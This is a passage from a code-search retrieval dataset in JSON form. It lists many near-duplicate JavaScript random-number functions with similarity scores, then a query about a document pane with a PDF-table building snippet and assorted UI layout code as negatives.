"ccfb183308315211f95896c5c63b9d37", "score": "0.8621562", "text": "function randomNumber(min, max) {\r\n return Math.floor(Math.random() * (max - min + 1)) + min;\r\n}", "title": "" }, { "docid": "174c9baaec41099ff25c3207fb2e33d2", "score": "0.86207706", "text": "function randomNumber(min, max) {\n return Math.floor(Math.random() * (max - min) + min);\n}", "title": "" }, { "docid": "bca152cafb265e9fcf6f7f0fa39677bc", "score": "0.86204123", "text": "function randomNumber(min, max){\n return Math.floor(Math.random() * (max - min + 1)) + min;\n}", "title": "" }, { "docid": "f37aecf9f36b94e2ec41fce5173dd8b2", "score": "0.8619084", "text": "function RandomNumber(min, max)\n{\n\tvar randomValue = Math.floor(min + Math.random() * (max - min + 1));\n\treturn randomValue;\n}", "title": "" }, { "docid": "2c552fcf099fcb4d6355aeb32e8ea9b3", "score": "0.86187804", "text": "function getRandomNumber (min, max) {\n\treturn Math.floor(Math.random() * (max - min) + min);\n}", "title": "" }, { "docid": "ec442bc71ee2d609666acb03b64869ed", "score": "0.8617936", "text": "function randomNumber(min, max) {\n return Math.floor(Math.random() * (max - min) + min);\n }", "title": "" }, { "docid": "ec442bc71ee2d609666acb03b64869ed", "score": "0.8617936", "text": "function randomNumber(min, max) {\n return Math.floor(Math.random() * (max - min) + min);\n }", "title": "" }, { "docid": "fd052c1666b2451b8a532cda4903d2ae", "score": "0.8613793", "text": "function ranNumBetweenRange(min, max) {\n var x = Math.floor(Math.random()*(max-min+1)+min);\n return x;\n\n}", "title": "" }, { "docid": "b77632ed69132c87e015a4e50c1c82cf", "score": "0.8612957", "text": "function randomNumber(min, max) {\n return Math.floor(Math.random() * (max - min) + min);\n}", "title": "" }, { "docid": "6d10512239a160b499def86b7ef09f3e", "score": "0.8612727", "text": "function randomNumber(min, max) {\n \n return (Math.random() * (max - min) + min);\n}", "title": "" }, { "docid": "58c22180e3a731d18038e467e6f165e5", "score": "0.8611151", "text": "function randomNumber(min, max) {\r\n return Math.floor(Math.random() * (max - min + 1) + min);\r\n }", "title": "" }, { "docid": "606836de831fa637991f2cd4d1d2a53d", "score": "0.86102104", "text": "function getRandomNumber(min, max) {\n\treturn Math.floor(Math.random() * (max - min)) + min;\n}", "title": "" }, { "docid": "606836de831fa637991f2cd4d1d2a53d", "score": "0.86102104", "text": "function getRandomNumber(min, max) {\n\treturn Math.floor(Math.random() * (max - min)) + min;\n}", "title": "" }, { "docid": "c3224dbb655d4f3a4054eb686eed25c2", "score": "0.8610131", "text": "function randomizeNumber(min, max) {\n return Math.floor(Math.random() * (max - min) + min);\n}", "title": "" }, { "docid": "c33719d64d2a21bec171e3c2b0321be0", "score": "0.8608845", "text": "function random_num(min=0,max=1){\n return Math.random()*(max - min)+min ;\n}", "title": "" }, { "docid": "d58d538bf8867afd4a7f2180b51e1919", "score": "0.860797", "text": "function randomNumber (min, max) {\n return ( Math.floor (Math.random () * ((max - 1 ) - min) + min));\n}", "title": "" }, { "docid": "d1b4ba1b825b2d9ad2bd65518bb18b47", "score": "0.86074066", "text": "function GetRandomBetween(max, min)\n{\n return Math.random() * (max - min) + min;\n}", "title": "" }, { "docid": "33b945a41cbd7464036bde6857656db9", "score": "0.8606658", "text": "function getRandomNumber(min, max) {\n return Math.floor(Math.random() * (max - min + 1) + min);\n }", "title": "" }, { "docid": "c6fd5594de5b2ba3d084723471182cd3", "score": "0.86054033", "text": "function getRandomNumber(min, max) {\n return Math.random() * (max - min) + min;\n }", "title": "" }, { "docid": "98fb2ef2d602bb14d13c6bc256d3734b", "score": "0.86049247", "text": "function randomNumberGenerator(min, max)\r\n{\r\n var randomNumber = Math.floor(Math.random()*(max-min+1))+min;\r\n return randomNumber;\r\n}", "title": "" }, { "docid": "09cafcd3bf78ffdc7d21d57c9828ecb1", "score": "0.8602268", "text": "function randomNumber(min, max) {\n return Math.floor(Math.random() * (max - min) + min);\n}", "title": "" }, { "docid": "09cafcd3bf78ffdc7d21d57c9828ecb1", "score": "0.8602268", "text": "function randomNumber(min, max) {\n return Math.floor(Math.random() * (max - min) + min);\n}", "title": "" }, { "docid": "09cafcd3bf78ffdc7d21d57c9828ecb1", "score": "0.8602268", "text": "function randomNumber(min, max) {\n return Math.floor(Math.random() * (max - min) + min);\n}", "title": "" }, { "docid": "bacc6e9da3615c47e571ca48d685e797", "score": "0.86021054", "text": "function getRandomInt(min, max) { return Math.floor(Math.random() * (max - min + 1)) + min; }", "title": "" }, { "docid": "ff809753bc5c0837517631fae5087a0e", "score": "0.86008465", "text": "function generateRandomNumber(min, max){\n\treturn min+Math.round(Math.random()*(max-min));\n}", "title": "" }, { "docid": "a8ba6a7ca2978a26beedbfef5fd0fba4", "score": "0.8600352", "text": "function randInt(max){return Math.floor(Math.random()*max);}", "title": "" }, { "docid": "79b67a5fea637ce83d7ead2b079e3e0d", "score": "0.85998607", "text": "function randomNumber(min, max) {\n\n\treturn Math.floor(Math.random() * max) + min;\n\t\n}", "title": "" }, { "docid": "c88b0aa21cd8b4cd7f89a7f5b2f0aeca", "score": "0.85967237", "text": "rnd(min, max) {\n\t\tmin = Math.ceil(min);\n\t\tmax = Math.floor(max);\n\t\treturn Math.floor(Math.random() * (max - min + 1)) + min;\n\t}", "title": "" }, { "docid": "e422ffac26ffb0b74d4659ecfb6130da", "score": "0.85966116", "text": "function getRandomNumberInInterval(min, max){\r\n\t\treturn Math.round(Math.random()*(max - min) + min);\r\n\t}", "title": "" }, { "docid": "a47608f1d384e15bd8c3c683097db32a", "score": "0.85957956", "text": "function rndNum(min, max) {\n return Math.floor(Math.random() * (max - min + 1) ) + min;\n}", "title": "" }, { "docid": "a47608f1d384e15bd8c3c683097db32a", "score": "0.85957956", "text": "function rndNum(min, max) {\n return Math.floor(Math.random() * (max - min + 1) ) + min;\n}", "title": "" }, { "docid": "6c7a15866dd93d7930a3b6cd4b4ad6f9", "score": "0.8594169", "text": "function randomize(min,max){\r\n\tnum = Math.ceil((Math.random()*(max-min))+min);\r\n\treturn Math.abs(num);\r\n}", "title": "" }, { "docid": "86c4b2d82d06473c593ea2c62c8d6d89", "score": "0.859275", "text": "function randNumber(min, max) {\n return Math.floor(Math.random() * (max - min + 1)) + min;\n}", "title": "" }, { "docid": "04e682c5fa27c5c4cefb456fc1a3be78", "score": "0.85925114", "text": "function getRandomNumberBetween(min, max){\n return Math.floor(Math.random() * (max - min + 1 )) + min;\n}", "title": "" }, { "docid": "9d08ed8b75f8a1d2519d789fa4523173", "score": "0.8590261", "text": "function randomNumber(min, max) {\n return Math.floor(Math.random() * (max - min + 1) + min);\n }", "title": "" }, { "docid": "9d08ed8b75f8a1d2519d789fa4523173", "score": "0.8590261", "text": "function randomNumber(min, max) {\n return Math.floor(Math.random() * (max - min + 1) + min);\n }", "title": "" }, { "docid": "9d08ed8b75f8a1d2519d789fa4523173", "score": "0.8590261", "text": "function randomNumber(min, max) {\n return Math.floor(Math.random() * (max - min + 1) + min);\n }", "title": "" }, { "docid": "9d08ed8b75f8a1d2519d789fa4523173", "score": "0.8590261", "text": "function randomNumber(min, max) {\n return Math.floor(Math.random() * (max - min + 1) + min);\n }", "title": "" }, { "docid": "9d08ed8b75f8a1d2519d789fa4523173", "score": "0.8590261", "text": "function randomNumber(min, max) {\n return Math.floor(Math.random() * (max - min + 1) + min);\n }", "title": "" }, { "docid": "9d08ed8b75f8a1d2519d789fa4523173", "score": "0.8590261", "text": "function randomNumber(min, max) {\n return Math.floor(Math.random() * (max - min + 1) + min);\n }", "title": "" }, { "docid": "c61e857f6b81d920c3fe0b2e44abb99b", "score": "0.85897946", "text": "function randomNumber(min, max) {\r\n return Math.random() * (max - min) + min;\r\n}", "title": "" }, { "docid": "8bfdde58ad586c2b43ec47fd8d26f1ba", "score": "0.8589095", "text": "function randomNumber(min, max) {\n return Math.floor(Math.random() * (max - min + 1) + min);\n}", "title": "" }, { "docid": "75eb44a0a73448f8dc81fad586faa06e", "score": "0.85889673", "text": "function randomNumber(min, max) {\n\t\treturn Math.floor(Math.random() * (1 + max - min) + min);\n\t}", "title": "" }, { "docid": "4747b3a84f3d743c89c86230b6dca2e2", "score": "0.8588805", "text": "function rndNumber(min, max) {\n // funzione che genera un numero random compreso tra min e max inclusi\n return Math.floor(Math.random() * (max - min + 1)) + min;\n}", "title": "" }, { "docid": "afe859919cd3b6019e7b68110d754a36", "score": "0.8586937", "text": "function randomNumberGenerate(min, max){\n return Math.floor(Math.random()*(max-min+1)+ min);\n \n }", "title": "" }, { "docid": "b3f98defdd0dcc20889182325a068c53", "score": "0.8585189", "text": "function randomize(min,max){\r\n\tnum = Math.ceil((Math.random()*(max-min))+min);\r\n\treturn num;\r\n}", "title": "" }, { "docid": "10cba360c3ad849fdf3207967a1f9675", "score": "0.8584677", "text": "function getValue(max, min) {\n\t var x = Math.floor((Math.random() * max) + min);\n\t return x;\n\t}", "title": "" } ]
cdcde78297c76aeb4a410809068f3213
============================================= //\\ pane in master cell =============================================
[ { "docid": "cf4373aeca2b4d3dda90e16476a179a3", "score": "0.0", "text": "function buildBottomTable( ownPlaceholder )\n {\n var JSONrecords = nheap.content_data\n [ \"final-doc-info.txt\" ]\n [ \"final_info\" ];\n\n var clmNames = [ \"Widget Name\", \"Description\", \"Comments / Exclusions\" ];\n var keyNames = [ \"widget_name\", \"description\",\"comments_exclusions\" ];\n var columnsMeta = keyNames.map( (kn,kix) => {\n var mt = {};\n mt[kn] = { caption:clmNames[kix] };\n return mt;\n });\n\n methods.tableTpl_2_content({\n contentPlaceholderToAttach : ownPlaceholder,\n table : JSONrecords,\n caption : \"\",\n cellPaddingTop : 1,\n cellPaddingBottom : 1,\n cellFontSize:7,\n widthPercent: 85,\n margin : [0, 0, 0, 0], //above caption\n firstCellIncrease : 23, //%\n captionFontSize : 12,\n captionBold : true,\n columns : columnsMeta\n });\n }", "title": "" } ]
[ { "docid": "4c607f7b95a7b35870ff2fcbbe75a2a3", "score": "0.6323204", "text": "setPane(e) {\n this.props.setPane(e.target.id);\n }", "title": "" }, { "docid": "81ad242052fca9562070f89e6154be10", "score": "0.61206514", "text": "openPane() {\n this.addClass('appstate--pane--open');\n PubSub.publish('pane.open');\n }", "title": "" }, { "docid": "b17e175a253b9e87444d83b91dec1bef", "score": "0.5990811", "text": "function OnSplitterPaneResized(s, e) {\n var name = e.pane.name;\n\n if (name == 'DocumentViewerPanes') {\n ResizeDocViewerHeight(e.pane);\n }\n\n if (name == 'paneRight') {\n TcnViewerWidthIncrease(e.pane);\n }\n\n\n}//Resize function ends", "title": "" }, { "docid": "de51dd25bfbf69f09e85b12cd38b7f79", "score": "0.5978037", "text": "function expand(pane) {\n resetPanes();\n openPanes.push(pane);\n pane.style.height = '48vh';\n pane.style.width = '30vh';\n if (0.3*window.innerHeight > 0.5*window.innerWidth) {\n pane.style.left = '48vw';\n }\n pane.style.visibility = 'visible';\n}", "title": "" }, { "docid": "7f816760086be1d79ba405343b640e07", "score": "0.59420073", "text": "onAdd(){\n this.getPanes().floatPane.appendChild(this.anchor);\n }", "title": "" }, { "docid": "935f35608154a6df5b1c8b83e935d592", "score": "0.5922282", "text": "function setPaneDimensions() {\n pane_width = $(window).width();\n\t\t\t\n panes.each(function() {\n $(this).width(pane_width);\n });\n\n container.width(pane_width*pane_count);\n\t\t\t\n\t\t\t\n\t\t\n\n }", "title": "" }, { "docid": "935f35608154a6df5b1c8b83e935d592", "score": "0.5922282", "text": "function setPaneDimensions() {\n pane_width = $(window).width();\n\t\t\t\n panes.each(function() {\n $(this).width(pane_width);\n });\n\n container.width(pane_width*pane_count);\n\t\t\t\n\t\t\t\n\t\t\n\n }", "title": "" }, { "docid": "04adf54d3c5c87f8dc45a653bf1c1c61", "score": "0.5897179", "text": "function setPaneSize(e) {\n\n}", "title": "" }, { "docid": "4abd63012bf80d2f48a6836f80c607ac", "score": "0.58344406", "text": "onAdd() {\n this.getPanes().floatPane.appendChild(this.containerDiv);\n }", "title": "" }, { "docid": "8380fac56af9e9db8710823aca18b196", "score": "0.57707727", "text": "function setPaneDimensions() {\n pane_width = element.width();\n $(options.paneItemsSelector, element).each(function () {\n $(this).width(pane_width);\n });\n container.width(pane_width * pane_count);\n }", "title": "" }, { "docid": "a7112d95d32c4f7bfb5a690261702cd9", "score": "0.5741273", "text": "isActive(pane) {\n return this.props.whichPaneActive == pane ? 'active' : '';\n }", "title": "" }, { "docid": "7f6075a4bd075cba221cca039ee8adf8", "score": "0.5700723", "text": "constructor(options) {\n super(options);\n this._changeGuard = false;\n this._spinner = new Spinner();\n this._isRevealed = false;\n this.addClass('jp-MainAreaWidget');\n // Set contain=strict to avoid many forced layout rendering while adding cells.\n // Don't forget to remove the CSS class when your remove the spinner to allow\n // the content to be rendered.\n // @see https://github.com/jupyterlab/jupyterlab/issues/9381\n this.addClass('jp-MainAreaWidget-ContainStrict');\n this.id = DOMUtils.createDomID();\n const trans = (options.translator || nullTranslator).load('jupyterlab');\n const content = (this._content = options.content);\n content.node.setAttribute('role', 'region');\n content.node.setAttribute('aria-label', trans.__('notebook content'));\n const toolbar = (this._toolbar = options.toolbar || new Toolbar());\n toolbar.node.setAttribute('role', 'navigation');\n toolbar.node.setAttribute('aria-label', trans.__('notebook actions'));\n const contentHeader = (this._contentHeader =\n options.contentHeader ||\n new BoxPanel({\n direction: 'top-to-bottom',\n spacing: 0\n }));\n const layout = (this.layout = new BoxLayout({ spacing: 0 }));\n layout.direction = 'top-to-bottom';\n BoxLayout.setStretch(toolbar, 0);\n BoxLayout.setStretch(contentHeader, 0);\n BoxLayout.setStretch(content, 1);\n layout.addWidget(toolbar);\n layout.addWidget(contentHeader);\n layout.addWidget(content);\n if (!content.id) {\n content.id = DOMUtils.createDomID();\n }\n content.node.tabIndex = 0;\n this._updateTitle();\n content.title.changed.connect(this._updateTitle, this);\n this.title.closable = true;\n this.title.changed.connect(this._updateContentTitle, this);\n if (options.reveal) {\n this.node.appendChild(this._spinner.node);\n this._revealed = options.reveal\n .then(() => {\n if (content.isDisposed) {\n this.dispose();\n return;\n }\n content.disposed.connect(() => this.dispose());\n const active = document.activeElement === this._spinner.node;\n this._disposeSpinner();\n this._isRevealed = true;\n if (active) {\n this._focusContent();\n }\n })\n .catch(e => {\n // Show a revealed promise error.\n const error = new Widget();\n // Show the error to the user.\n const pre = document.createElement('pre');\n pre.textContent = String(e);\n error.node.appendChild(pre);\n BoxLayout.setStretch(error, 1);\n this._disposeSpinner();\n content.dispose();\n this._content = null;\n toolbar.dispose();\n this._toolbar = null;\n layout.addWidget(error);\n this._isRevealed = true;\n throw error;\n });\n }\n else {\n // Handle no reveal promise.\n this._spinner.dispose();\n this.removeClass('jp-MainAreaWidget-ContainStrict');\n content.disposed.connect(() => this.dispose());\n this._isRevealed = true;\n this._revealed = Promise.resolve(undefined);\n }\n }", "title": "" }, { "docid": "103bae6766586724e3ea41f99a614713", "score": "0.5630078", "text": "function createPane(e) {\n let newPane = createElement(\"div\", \"pane-item\", \"pane-\" + paneCount);\n\n let controls = createElement(\"div\", \"pane-controller-holder\");\n let controlsRight = createElement(\"div\");\n let controlsLeft = createElement(\"div\");\n\n // let backButton = createElement(\"img\", \"pane-controls-icon\", \"pane-\" + paneCount + \"-copy\");\n // backButton.src = \"./arrow_back_black_24dp.svg\";\n // backButton.height = \"30\";\n // controlsLeft.appendChild(backButton);\n\n // let forwardButton = createElement(\"img\", \"pane-controls-icon\", \"pane-\" + paneCount + \"-copy\");\n // forwardButton.src = \"./arrow_forward_black_24dp.svg\";\n // forwardButton.height = \"30\";\n\n // controlsLeft.appendChild(forwardButton);\n\n // let copyButton = createElement(\"img\", \"pane-controls-icon\", \"pane-\" + paneCount + \"-copy\");\n // copyButton.src = \"./content_copy_black_24dp.svg\";\n // copyButton.height = \"30\";\n // controlsRight.appendChild(copyButton);\n\n var title = document.createElement(\"div\");\n\n controlsLeft.appendChild(title);\n\n\n let closeButton = createElement(\"img\", \"pane-controls-icon\", \"pane-\" + paneCount + \"-close\");\n closeButton.src = \"./clear_black_24dp.svg\";\n closeButton.height = \"30\";\n closeButton.onclick = (e) => {\n document.getElementById(\"pane-container-children\").removeChild(newPane);\n }\n controlsRight.appendChild(closeButton);\n\n controls.appendChild(controlsLeft);\n controls.appendChild(controlsRight);\n\n var screenSize = document.getElementById(\"screen-sizes\").value;\n title.innerText = screenSize;\n newPane.style.height = screenSize.split(\"x\")[0] + \"px\"\n newPane.style.width = screenSize.split(\"x\")[1] + \"px\"\n\n\n\n newPane.appendChild(controls);\n\n let iframe = createElement(\"iframe\", \"pane-iframe\");\n iframe.src = document.getElementById(\"search-box\")?.value || \"http://localhost:5501\"\n // backButton.onclick = goBack\n // forwardButton.onclick = goForward\n\n newPane.appendChild(iframe)\n document.getElementById(\"pane-container-children\").appendChild(newPane)\n paneCount++;\n}", "title": "" }, { "docid": "3b3bb7afac7dcef805c868d26f11dac9", "score": "0.56241745", "text": "function setPaneDimensions() {\n\t\t\t\tpane_width = element.width();\n\t\t\t\tpanes.each( function () {\n\t\t\t\t\t$( this ).width( pane_width );\n\t\t\t\t} );\n\t\t\t\tcontainer.width( pane_width * pane_count );\n\t\t\t}", "title": "" }, { "docid": "b4e30e5840b65a55fa4bc2503a59d872", "score": "0.56174797", "text": "function initTopPaneCell( title )\n {\n return [\n {\n text: title\n ,bold: true\n ,fontSize: 14\n ,margin: [16,15,0,0]\n ,color: nheap.companyColors.blue_master\n }\n ];\n }", "title": "" }, { "docid": "6a0ce0b15818f64c923e2da2e838bf4f", "score": "0.5587252", "text": "_setPane() {\n\t\t// determine where to add the layer\n\t\tthis._paneName = this.options.paneName || 'overlayPane';\n\n\t\t// fall back to overlayPane for leaflet < 1\n\t\tlet pane = this._map._panes.overlayPane\n\t\tif (this._map.getPane) {\n\t\t\t// attempt to get pane first to preserve parent (createPane voids this)\n\t\t\tpane = this._map.getPane(this._paneName);\n\t\t\tif (!pane) {\n\t\t\t\tpane = this._map.createPane(this._paneName);\n\t\t\t}\n\t\t}\n\n\t\tthis._pane = pane;\n\t}", "title": "" }, { "docid": "1523b7ea9ad03a93b55e111454b0ffed", "score": "0.55797803", "text": "function setPaneDimensions() {\n\t\tpane_width = element.width();\n\t\tpanes.each(function() {\n\t\t\t$(this).width(pane_width);\n\t\t});\n\t\tcontainer.width(pane_width*pane_count);\n\t\t}", "title": "" }, { "docid": "2727b4398a6e1d5d188594d5fc0efea8", "score": "0.55732447", "text": "function openpanel()\r\n{\r\n\tlet topcell=document.getElementById(\"topcell\");\r\n\tlet new_margin=\"350px\";\r\n\r\n\tpanelstatus=true;\r\n\tsidepanel.style.width=\"300px\";\r\n\tsidepanel.style.paddingRight=\"10px\";\r\n\r\n\tcontainer.style.marginLeft=new_margin;\r\n\tpara.style.marginLeft=new_margin;\r\n\ttopcell.style.marginLeft=new_margin;\r\n\r\n}", "title": "" }, { "docid": "63e916c3d8c6b18ca7f5e6fde72edd3e", "score": "0.55588", "text": "function clear_lowerpane_position()\r\n{\r\n\tmove('#lower-pane').y(+((($(window).height())/8)*tip)).end();\r\n}", "title": "" }, { "docid": "e671b5991249f2589363adc31b5c7380", "score": "0.5555318", "text": "get overlayElement() {\n return this._pane;\n }", "title": "" }, { "docid": "3b772d729278d8c8103f1a455c1379e8", "score": "0.5533545", "text": "function updatePane(compName) {\n var query = \"(\" + getQuery.toString() + \")()\";\n sidebar.setExpression(query,compName);\n }", "title": "" }, { "docid": "8ef1071e24af71fdd6905a47a89963bf", "score": "0.5511799", "text": "clickPaneIcon(command){\n command.execute();\n\n this.getSelection().getRangeAt(0).collapse(false);\n this.checkSelection();\n }", "title": "" }, { "docid": "85570e11a5bc0940faf410019288d342", "score": "0.5463437", "text": "function SplitPaneView() {\n return (\n <SplitPane id=\"vertical\" minSize={100} defaultSize=\"50%\">\n <SplitPane id=\"horizontal\" split=\"horizontal\">\n <div className=\"oc-split-pane-content content1\">Content 1</div>\n <div className=\"oc-split-pane-content content2\">Content 2</div>\n </SplitPane>\n <div className=\"oc-split-pane-content content3\">Content 3</div>\n </SplitPane>\n );\n}", "title": "" }, { "docid": "d4218b7043316d3769d307d7b0c7cac8", "score": "0.54492784", "text": "function viewDesktop_Master() {\n}", "title": "" }, { "docid": "c732eec568c08c9bb337f5dba9913298", "score": "0.5412981", "text": "function activePane( pos , pane ) {\n\n\tvar half = $( window ).height()/2 - 33;\n\tvar panePos = $( \".pane.\" + pane ).offset().top - 61 + half;\n\n\t//BASE CASE\n\t//pos is in current pane: update activeness\n\tif ( pos < panePos ) {\n\t\t$( \".directive li\" ).removeClass( \"active\" );\n\t\t$( \".directive #\" + pane ).addClass( \"active\" );\n\n\t//RECURSE\n\t//else, see if pos is in the next pane\n\t} else {\n\t\tvar next = $( \".pane.\" + pane ).next().attr( \"label\" );\n\t\tactivePane( pos, next );\n\t}\n\n}", "title": "" }, { "docid": "a63620d8d51d35c2126a0a2ab502984d", "score": "0.5384356", "text": "closePane() {\n this.removeClass('appstate--pane--open');\n PubSub.publish('pane.close');\n }", "title": "" }, { "docid": "eaefeed115f4934089ef761bced373f4", "score": "0.5377179", "text": "serverKnowsAsFocusedCell() {\n\n }", "title": "" }, { "docid": "a56f4b77740a3a21bd944ba7ec9146ee", "score": "0.5372282", "text": "get cell() {\n let parentNode = this.node.parentNode;\n return parentNode && parentNode._newtabCell;\n }", "title": "" }, { "docid": "139858bc3919c8ec69dfa7b086bf4131", "score": "0.5368999", "text": "topLeftCell() {\n return \n }", "title": "" }, { "docid": "9378592a8933d525d5d956b69825c26d", "score": "0.5358834", "text": "getContainerNode() {\n return this._appContainerNode || this._viewContainerNode;\n }", "title": "" }, { "docid": "3ab158cd19e21135848de16faad7cff7", "score": "0.53405106", "text": "_showThreadPane() {}", "title": "" }, { "docid": "c530492e87e70318974bb5f6b5421fa3", "score": "0.5308942", "text": "function scrollPaneInit() {\n\tvar __pane = $('.scroll-pane').jScrollPane({\n\t\tshowArrows: true,\n\t\tverticalDragMaxHeight: 40\n\t});\n\treturn __pane.data('jsp');\t\n}", "title": "" }, { "docid": "f4c2f2e3e8e99c8ac075814d4a6a8d33", "score": "0.53061765", "text": "function next_pane(onDone){\n\t\t\tif(settings.layout == 'vertical'){\n\t\t\t\tif(cur_pane != pane_num){\n\t\t\t\t\tcur_pane++\n\t\t\t\t\tvar offset = (win_h < settings.min_height) ? settings.min_height : win_h;\n\t\t\t\t\t//Scroll the pane wrapper to the next slide\n\t\t\t\t\t$('.pane_wrap').animate({\n\t\t\t\t\t\ttop:'-'+(cur_pane - 1)*offset+'px',\t\t\t\n\t\t\t\t\t},settings.transition_speed, settings.easing, function(){\n\t\t\t\t\t\t$('body').animate({\n\t\t\t\t\t\t\tscrollTop:0\n\t\t\t\t\t\t},200)\n\t\t\t\t\t\tif(typeof onDone === 'function' && onDone()){\n\t\t\t\t\t\t\tonDone();\n\t\t\t\t\t\t}\n\t\t\t\t\t})\n\t\t\t\t}else{\n\t\t\t\t\tif(typeof settings.lastPane === 'function' && settings.lastPane()){\n\t\t\t\t\t\tsettings.lastPane();\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}else if(settings.layout == 'horizontal'){\n\t\t\t\tif(cur_pane != pane_num){\n\t\t\t\t\tcur_pane++\n\t\t\t\t\tvar offset = (win_w < settings.min_width) ? settings.min_width : win_w;\n\t\t\t\t\t//Scroll the pane wrapper to the next slide\n\t\t\t\t\t$('.pane_wrap').animate({\n\t\t\t\t\t\tleft:'-'+(cur_pane - 1)*offset+'px',\t\t\t\n\t\t\t\t\t},settings.transition_speed, settings.easing, function(){\n\t\t\t\t\t\tif(typeof onDone === 'function' && onDone()){\n\t\t\t\t\t\t\tonDone();\n\t\t\t\t\t\t}\n\t\t\t\t\t})\n\t\t\t\t}else{\n\t\t\t\t\tif(typeof settings.lastPane === 'function' && settings.lastPane()){\n\t\t\t\t\t\tsettings.lastPane();\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}", "title": "" }, { "docid": "7ae2193b643eac68f79013fada5e1b85", "score": "0.52969956", "text": "gridView(canvas) {\n // this method should be completed by the students\n }", "title": "" }, { "docid": "bf9fbdbdc68c2f557700a67d700aa41f", "score": "0.5286132", "text": "function onResize() {\n positionContainer();\n}", "title": "" }, { "docid": "b859433f6ca03d55cf83eb7c3c57e236", "score": "0.5280166", "text": "function openContentArea() {\n isOpenContentArea = true;\n // shows space\n showSpace(true);\n // show close ctrl\n classie.remove(contentCloseCtrl, 'content__button--hidden');\n // resize mall area\n classie.add(mall, 'mall--content-open');\n // disable mall nav ctrls\n classie.add(levelDownCtrl, 'boxbutton--disabled');\n classie.add(levelUpCtrl, 'boxbutton--disabled');\n }", "title": "" }, { "docid": "95303e8b2da56ec302bec7b3af045805", "score": "0.52702016", "text": "function composeSection8()\n {\n\n methods.addTOC( \"Notes to MIS\", \"Panes\" )\n addHeader( 'Notes to MIS' );\n\n\n\n\n //============================== \n // //\\\\ master placeholders\n // //\\\\ top master layout table\n //----------------------------------\n var borders = Array(4).fill([[false, true, false, false ]]);\n //borders[0][1] = false; //fails why?\n borders[0] = [false, false, false, false];\n\n var built = \n fm.layt({\n margin : [ 10,15,0,10 ],\n widths : [ '95%' ],\n heights : 2,\n pads : { left:10, top:5, right:10, bottom:1 },\n borders : borders,\n rows : 4,\n bordCol : '#aaa',\n color: nheap.companyColors.blue_master,\n body: null\n }).tbl;\n ddCont.push( built );\n var JSONrecords = nheap.content_data\n [ \"Mis.txt\" ];\n\n built.table.body[0][0].text = \"Client Selected: \" + JSONrecords.Mis[0].CLIENTSELECTED;\n\n built.table.body[1][0].text = \"Portfolio Selected:\" + JSONrecords.Table1[0].PORTFOLIOSELECTED;\n\n built.table.body[2][0].text = JSONrecords.Table2[0].RM;\n\n built.table.body[3][0].text = JSONrecords[ \"$*report-report-generator\" ][0].DATA_SOURCE;\n built.table.body[3][0].fontSize = 8;\n //----------------------------------\n // \\\\// top master layout table\n //----------------------------------\n\n\n\n\n //----------------------------------\n // //\\\\ bottom master layout table\n //----------------------------------\n var built = \n fm.layt({\n margin : [ 0,0,0,0 ],\n widths : [ '95%' ],\n pads : { left:10, top:8, right:7, bottom:4 },\n borders :\n [\n [ [false, false, false, false ] ]\n ],\n bordCol : '#aaa',\n color: nheap.companyColors.blue_master,\n body: null\n }).tbl;\n ddCont.push( built );\n buildBottomTable( built.table.body[0][0] )\n\n ddCont[ ddCont.length - 1 ].pageBreak = 'after';\n //----------------------------------\n // \\\\// bottom master layout table\n // \\\\// master placeholders\n //==============================\n }", "title": "" }, { "docid": "2abb600039da3aa4d93d74a218dab6c7", "score": "0.5253668", "text": "_updateNearSplitterBars() {\n const that = this;\n\n if (that.previousElementSibling instanceof JQX.SplitterBar) {\n that.previousElementSibling.showFarButton = that.collapsible;\n }\n\n if (that.nextElementSibling instanceof JQX.SplitterBar) {\n that.nextElementSibling.showNearButton = that.collapsible;\n }\n }", "title": "" }, { "docid": "2aaefd882f94ccf7748effc702772c2d", "score": "0.52304524", "text": "async addPane() {\n let newPane = new Pane(this.allPanes, this.panes.length)\n newPane.atlasChoice = this.atlasChoice\n // pass reference to pane, to be used by ctrlOp and Canvas\n newPane.regionBoundaryData = this.regionBoundaryData\n // set the application removal function accessible in the newPane\n newPane.removeFromApplication = this.removePane.bind(this)\n\n // here's the point where we can connect up the various parts\n // finish pane loading\n\n // create ctrloptions\n /** This is a reference to the options for controlling the canvas (known as CtrlOp) */\n this.ctrlop = new CtrlOp(newPane.paneDiv, newPane)\n // loads the data and such\n await this.ctrlop.init()\n\n // create the canvas\n /** The canvas that the slice and fill data is drawn on */\n this.can = new Canvas(newPane.paneDiv, newPane, 500, 20)\n this.can.init()\n // target the canvas with our events\n this.ctrlop.target(this.can.can)\n\n // force draw the first slider value in frame\n this.ctrlop.slider.dispatchEvent(new Event(\"input\"))\n\n this.panes.push(newPane)\n }", "title": "" }, { "docid": "ba86afe1196d46834a2af98283f3b802", "score": "0.5221209", "text": "function visualContentPinboard() {\n\tapp.getView({\n\t\tPinboardType: \"visualContent\"\n\t}).render('product/viewpinboard');\n}", "title": "" }, { "docid": "efefd6c7ab1f5fbc9ee62cad3f13fbb5", "score": "0.52159786", "text": "subwindowInit() {}", "title": "" }, { "docid": "9c25c50dd580a2fe775da5bd8b865b4d", "score": "0.52039707", "text": "function toggle(){\n vm.show = !vm.show;\n var button = angular.element('.pane-toggle-button');\n if(!vm.show)\n {\n angular.element('.pane-toggle-button-container').css('left','0px');\n\n button.css('transform','scaleX(-1)');\n button.attr('data-original-title','expand side pane');\n\n }\n else\n {\n angular.element('.pane-toggle-button-container').css('left','100%');\n button.css('transform','scaleX(1)');\n button.attr('data-original-title','collapse side pane');\n\n }\n }", "title": "" }, { "docid": "69e37338a2ddff5778650cb705da3875", "score": "0.5188208", "text": "function SplitPaneController() {\n var current = 200,\n start = 200,\n assigned = false;\n\n return {\n /**\n * Get the current position of the splitter, in pixels\n * from the left edge.\n * @returns {number} position of the splitter, in pixels\n */\n state: function (defaultState) {\n // Set the state to the desired default, if we don't have a\n // \"real\" current state yet.\n if (arguments.length > 0 && !assigned) {\n current = defaultState;\n assigned = true;\n }\n return current;\n },\n /**\n * Begin moving the splitter; this will note the splitter's\n * current position, which is necessary for correct\n * interpretation of deltas provided by mct-drag.\n */\n startMove: function () {\n start = current;\n },\n /**\n * Move the splitter a number of pixels to the right\n * (negative numbers move the splitter to the left.)\n * This movement is relative to the position of the\n * splitter when startMove was last invoked.\n * @param {number} delta number of pixels to move\n */\n move: function (delta, minimum, maximum) {\n // Ensure defaults for minimum/maximum\n maximum = isNaN(maximum) ? DEFAULT_MAXIMUM : maximum;\n minimum = isNaN(minimum) ? DEFAULT_MINIMUM : minimum;\n\n // Update current 